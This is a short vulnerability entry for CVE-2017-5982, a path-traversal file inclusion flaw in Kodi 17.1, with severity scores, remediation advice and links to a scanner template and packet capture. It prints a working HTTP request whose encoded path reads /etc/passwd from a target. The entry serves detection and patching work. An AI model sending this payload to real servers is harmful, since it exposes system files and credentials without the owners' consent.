| Title | Kodi 17.1 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files on the system, potentially exposing sensitive information, credentials, and configuration files. |
| Remediation | Upgrade Kodi to a version that is not affected by the CVE-2017-5982 vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.8642 |
| CVE ID | CVE-2017-5982 |
| CWE ID | CWE-22 |
| Tags | cve2017 cve kodi lfi edb vuln |
Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input.
GET /image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-5982.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-5982.pcap
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